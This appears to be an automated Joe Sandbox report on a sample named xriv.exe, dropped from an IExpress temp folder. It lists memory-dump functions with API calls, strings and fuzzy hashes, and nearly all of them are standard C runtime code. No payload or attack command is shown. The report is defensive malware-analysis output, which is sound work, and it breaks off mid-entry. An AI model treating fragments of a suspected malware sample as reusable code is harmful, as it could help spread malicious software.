API String ID: 0-537541572
Opcode ID: ddb7823123423567c7d34c96ffb20bb69c05542fdeb25e901b8f4047833b5dc9
Instruction ID: 03c3e652c0835b518c7a67cdd13c5bda5cfca449991868504d3c677180e6f53e
Opcode Fuzzy Hash: ddb7823123423567c7d34c96ffb20bb69c05542fdeb25e901b8f4047833b5dc9
Instruction Fuzzy Hash: 8E21DB72A61222BFFB33CA699C55EEE77D49F75660F170220EE15A728CD670DD0086D0

Uniqueness

Uniqueness Score: -1.00%

Function 0122143D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01221405: _free.LIBCMT ref: 0122142A

_free.LIBCMT ref: 0122148B

Part of subcall function 0121D653: HeapFree.KERNEL32(00000000,00000000,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?), ref: 0121D669
Part of subcall function 0121D653: GetLastError.KERNEL32(?,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?,?), ref: 0121D67B

_free.LIBCMT ref: 01221496
_free.LIBCMT ref: 012214A1
_free.LIBCMT ref: 012214F5
_free.LIBCMT ref: 01221500
_free.LIBCMT ref: 0122150B
_free.LIBCMT ref: 01221516

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction ID: 28ccf18d8f225f9a6240bf3fcc677ef7a71e63e116151d0a9dd52a7dc4a9c291
Opcode Fuzzy Hash: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction Fuzzy Hash: AE119A32520B19FAD620FFB1DC09FEB77DCEF20B00F418C15A39DAA094DA28A561C680

Uniqueness

Uniqueness Score: -1.00%

Function 01222AF8 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,01205140,00000000), ref: 01222B40
__fassign.LIBCMT ref: 01222D1F
__fassign.LIBCMT ref: 01222D3C
WriteFile.KERNEL32(?,01205140,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 01222D84
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 01222DC4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 01222E70

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 45b8a41c429829842664686edfd0d2ad43e2b8528334406db6ca1bc9b7b6fa30
Instruction ID: 49bdea188c1dbe509ca5b9697f4307f15b388f04284f43abb311285251acb07e
Opcode Fuzzy Hash: 45b8a41c429829842664686edfd0d2ad43e2b8528334406db6ca1bc9b7b6fa30
Instruction Fuzzy Hash: D6D1BD71D10269EFCF25CFE8D8809EDBBB5BF58314F28016AE915BB241D631AA46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01218890 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,01218887,01218476,01217AC4), ref: 0121889E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 012188AC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 012188C5
SetLastError.KERNEL32(00000000,01218887,01218476,01217AC4), ref: 01218917

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 62ff502d497b0a0943db771fb24d608d2f2471a2b74338d927050aafcfb30b23
Instruction ID: 0d1ac351fe8e06c45ce79b4eb400d8ff3c1d948f6ea492ab63fcc6217ceaf860
Opcode Fuzzy Hash: 62ff502d497b0a0943db771fb24d608d2f2471a2b74338d927050aafcfb30b23
Instruction Fuzzy Hash: A701B53353D3135EEA35997C7CC897A66D5EF316F57210329F620545DDEE9288005681

Uniqueness

Uniqueness Score: -1.00%

Function 0122002E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 01220033

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2143882575
Opcode ID: 4ecbe47de8e28cfb123fe411be1c1589a180f6aecc7854385ef48de529886c62
Instruction ID: df1133949bb22bfb91876589908ec580cea2a0704c81d337616fe9ca4a53c6af
Opcode Fuzzy Hash: 4ecbe47de8e28cfb123fe411be1c1589a180f6aecc7854385ef48de529886c62
Instruction Fuzzy Hash: 5B210472620227BFEB21AF698C84D7F73EDEF142647004514FA1993250EF75EE4187A4

Uniqueness

Uniqueness Score: -1.00%

Function 0121B476 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0121B4B8

Strings

.cmd, xrefs: 0121B4D6
.bat, xrefs: 0121B4E7
.com, xrefs: 0121B4F8
.exe, xrefs: 0121B4C5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 5d36ea3ec63ce2b849845c61f80e3db1cd976fa0808325e59763ffb47cec6455
Instruction ID: 0cd3da7b371c87dad0a6f89132afe73dbe89a52e03a3fccd4f0fb680ccb96d79
Opcode Fuzzy Hash: 5d36ea3ec63ce2b849845c61f80e3db1cd976fa0808325e59763ffb47cec6455
Instruction Fuzzy Hash: EF01C83B734727356725A11EAD0173B1BF88FB6BB0726002EFF44E7188EE48D5024190

Uniqueness

Uniqueness Score: -1.00%

Function 01219937 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 01219987

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 585cd3bc02568e748e631f2cd6e1d36b7b9e036050510c9f64718a8e775d1e75
Instruction ID: 9d7cb0ab0ea139033e2adb31ec61d9ab6488d336d0a5e294d339eb93604663d9
Opcode Fuzzy Hash: 585cd3bc02568e748e631f2cd6e1d36b7b9e036050510c9f64718a8e775d1e75
Instruction Fuzzy Hash: 67110B32A21227FBEF32CE2D9C55E6E37D69F116B8B110510EA06A728DD770ED40C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 0121A9E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0121A9D8,0121E000,?,0121A9A0,0121AF26,?,0121E000), ref: 0121A9F8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0121AA0B
FreeLibrary.KERNEL32(00000000,?,?,0121A9D8,0121E000,?,0121A9A0,0121AF26,?,0121E000), ref: 0121AA2E

Strings

CorExitProcess, xrefs: 0121AA03
mscoree.dll, xrefs: 0121A9F1

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 620ad4c59e8434c959d70ea43dfc68aedcac4d0ab7152c1c4387335cedfec903
Instruction ID: 505d10351ef0fc67db6224cb53dff555cb7d9bf35b90d20ba2d0f4fa09a07b11
Opcode Fuzzy Hash: 620ad4c59e8434c959d70ea43dfc68aedcac4d0ab7152c1c4387335cedfec903
Instruction Fuzzy Hash: 50F08231511219FBEB31DF55EA0DBDE7EB4EF04755F110064E601A2058CB788F00EB90

Uniqueness

Uniqueness Score: -1.00%

Function 01226069 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(01544058,01544058,?,7FFFFFFF,?,?,01226325,01544058,01544058,?,01544058,?,?,?,?,01544058), ref: 0122610C
__alloca_probe_16.LIBCMT ref: 012261C2
__alloca_probe_16.LIBCMT ref: 01226258
__freea.LIBCMT ref: 012262C3
__freea.LIBCMT ref: 012262CF

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 677d0a137ce12094204f07a4b3a43cd2e003a3f3af66f9838fac60a4edf20cb7
Instruction ID: a8178812eda32b49b250562dc7e2034804f3df1e8aaa68399d5890d894df3200
Opcode Fuzzy Hash: 677d0a137ce12094204f07a4b3a43cd2e003a3f3af66f9838fac60a4edf20cb7
Instruction Fuzzy Hash: BA81B773D2022BBBEF219E988C41EEF7BB6EF5A250F190155EE05A7241D625DD40C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 01224994 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 01224A18
__alloca_probe_16.LIBCMT ref: 01224ADE
__freea.LIBCMT ref: 01224B4A

Part of subcall function 0121DB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121DB6E

__freea.LIBCMT ref: 01224B53
__freea.LIBCMT ref: 01224B76

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 7cdd767adfa282c9c702a4da5ea4a35e498c2b0ca1fcf6063c299934e656de64
Instruction ID: 23010cccef5330166a4754d70b0cc071d66d8c157a9ea08864ec47df2ef5c6f4
Opcode Fuzzy Hash: 7cdd767adfa282c9c702a4da5ea4a35e498c2b0ca1fcf6063c299934e656de64
Instruction Fuzzy Hash: 7951D572920267BBEB25AF68DC41FBF7AA9EF54750F150129FE14AB140F770DC1086A0

Uniqueness

Uniqueness Score: -1.00%

Function 0121B1AE Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0121B0E0), ref: 0121B1D0
GetFileInformationByHandle.KERNEL32(?,?), ref: 0121B22A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0121B0E0,?,000000FF,00000000,00000000), ref: 0121B2B8
__dosmaperr.LIBCMT ref: 0121B2BF
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0121B2FC

Part of subcall function 0121B524: __dosmaperr.LIBCMT ref: 0121B559

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 5ac052120d28e3fcac13b752f3d54e2a8e75136d9aae845c197bd701b11fde06
Instruction ID: 4528235871620c4c42f31ce0ee45c60bb8e5f811216d2e48d0b042f9532b50e7
Opcode Fuzzy Hash: 5ac052120d28e3fcac13b752f3d54e2a8e75136d9aae845c197bd701b11fde06
Instruction Fuzzy Hash: EB414B75920709AFDB34DFB5D8459AFBBF9EFA8300B00852DE956D3614EB309904CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0122139C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 012213B4

Part of subcall function 0121D653: HeapFree.KERNEL32(00000000,00000000,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?), ref: 0121D669
Part of subcall function 0121D653: GetLastError.KERNEL32(?,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?,?), ref: 0121D67B

_free.LIBCMT ref: 012213C6
_free.LIBCMT ref: 012213D8
_free.LIBCMT ref: 012213EA
_free.LIBCMT ref: 012213FC

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6e9bbf03e33d47cce4eada891363bcafb64e2483be3e7dd4c9e140910a0d0597
Instruction ID: aaeb6a5d2a787217718eb2f8634619473a6ba486ed73ec11fc4acaa8d85b5280
Opcode Fuzzy Hash: 6e9bbf03e33d47cce4eada891363bcafb64e2483be3e7dd4c9e140910a0d0597
Instruction Fuzzy Hash: D4F04F72520216BBD624EF98F089C2A77DAEA207507644D06F71CDB944CA30F8D08A98

Uniqueness

Uniqueness Score: -1.00%

Function 0121FA69 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0121FC03

Strings

*?, xrefs: 0121FAAC

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction ID: 2a910ce40a15b29e9a1477700290c0932de958d82462d6c7eaf9998c4adfc7fe
Opcode Fuzzy Hash: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction Fuzzy Hash: 8F617C76E1021A9FCB15CFA8C9805EEFBF5FF58310B24816AD925E7304E671AE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0120E4E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0120EE6A
std::_Xinvalid_argument.LIBCPMT ref: 0120EE79

Strings

invalid stoi argument, xrefs: 0120E4B0, 0120EE65, 0120EE74
stoi argument out of range, xrefs: 0120E4C4, 0120EE7E

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid stoi argument$stoi argument out of range
API String ID: 909987262-1606216832
Opcode ID: a15227c2cf4615b51a7a3d10676f869161a39acb9f3c517b0a1dcd78ead88e88
Instruction ID: bd96bbb8ef7c1de27a0e917745db8357ad5e5997438fc3b5e0074579aa30aebf
Opcode Fuzzy Hash: a15227c2cf4615b51a7a3d10676f869161a39acb9f3c517b0a1dcd78ead88e88
Instruction Fuzzy Hash: 550192B1910319EFDB20EF69CC45BAEBBF8EB25710F508158E51467241DBB45A848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 01218970 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 01218A37
___AdjustPointer.LIBCMT ref: 01218A5A
___AdjustPointer.LIBCMT ref: 01218AF6

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d95cfa7b629d679294ad2dbd204bf43d3654c2c630985d2c9f9e9b6901f063ee
Instruction ID: dfccb53717e1ba10008604d113cdc67a4807e9290cb86416cb0a57b9f8340930
Opcode Fuzzy Hash: d95cfa7b629d679294ad2dbd204bf43d3654c2c630985d2c9f9e9b6901f063ee
Instruction Fuzzy Hash: 8B51C072A20207AFEB29CF18D8C1B7A7BE5FF64211F18052DDA0257699E731E980C791

Uniqueness

Uniqueness Score: -1.00%

Function 01204D10 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,FDD920DC,00000000), ref: 01204D89
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 01204DF0
GetProcAddress.KERNEL32(00000000), ref: 01204DF7

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 98bae6878c975640662ee2353956ae7df055a7d0f8c148d17c472bff6f3eac2a
Instruction ID: 9a6c97cc8b6680b22bb9623e4703dedb055e16bf332cc9881be6081b6c63612a
Opcode Fuzzy Hash: 98bae6878c975640662ee2353956ae7df055a7d0f8c148d17c472bff6f3eac2a
Instruction Fuzzy Hash: A0516970D242599BDB25FF68DD487EDBBB4EB55310F5083A8E605A72C2EB344E808B91

Uniqueness

Uniqueness Score: -1.00%

Function 01224FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0122509E
_free.LIBCMT ref: 012250C7
SetEndOfFile.KERNEL32(00000000,012225FD,00000000,0121D4F0,?,?,?,?,?,?,?,012225FD,0121D4F0,00000000), ref: 012250F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,012225FD,0121D4F0,00000000,?,?,?,?,00000000), ref: 01225115

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: d61ea6f7662a3014d43bb0e323ae701f2e7a34ea37256f4c3c17dc17f4ac5139
Instruction ID: fec533a767352e150e3c31d760c1104082d7da7f287368dd2dc3a0cf1ccbe095
Opcode Fuzzy Hash: d61ea6f7662a3014d43bb0e323ae701f2e7a34ea37256f4c3c17dc17f4ac5139
Instruction Fuzzy Hash: BD41DA32920627BBDB11EFAC8C45AED37F5AF68360F288510F624A7295E678C64147A1

Uniqueness

Uniqueness Score: -1.00%

Function 0121F99A Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0121AE0F: _free.LIBCMT ref: 0121AE1D

Part of subcall function 01220971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,01224B40,?,00000000,00000000), ref: 01220A13

GetLastError.KERNEL32 ref: 0121FA02
__dosmaperr.LIBCMT ref: 0121FA09
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0121FA48
__dosmaperr.LIBCMT ref: 0121FA4F

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 107de486ed594d86986ee4e4ade619dabfbc9c9867d2845a297bd9b1c68c0332
Instruction ID: 7ccc03c01f007552b3c04f3add7cdbd1fec1e0ae8a8fcb4403ffcd36a7b6c405
Opcode Fuzzy Hash: 107de486ed594d86986ee4e4ade619dabfbc9c9867d2845a297bd9b1c68c0332
Instruction Fuzzy Hash: 0521C772620207BF9B21EF69898087B77EDEF242647104514E93997249E774ED048790

Uniqueness

Uniqueness Score: -1.00%

Function 0121DF44 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0121AD8D,00000000,?,?,?,0121AF26,?), ref: 0121DF49
_free.LIBCMT ref: 0121DFA6
_free.LIBCMT ref: 0121DFDC
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,0121AF26,?), ref: 0121DFE7

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 12bedc33268aa85661004413620716a10b9250ced4d42ce02d833e0dee5310c7
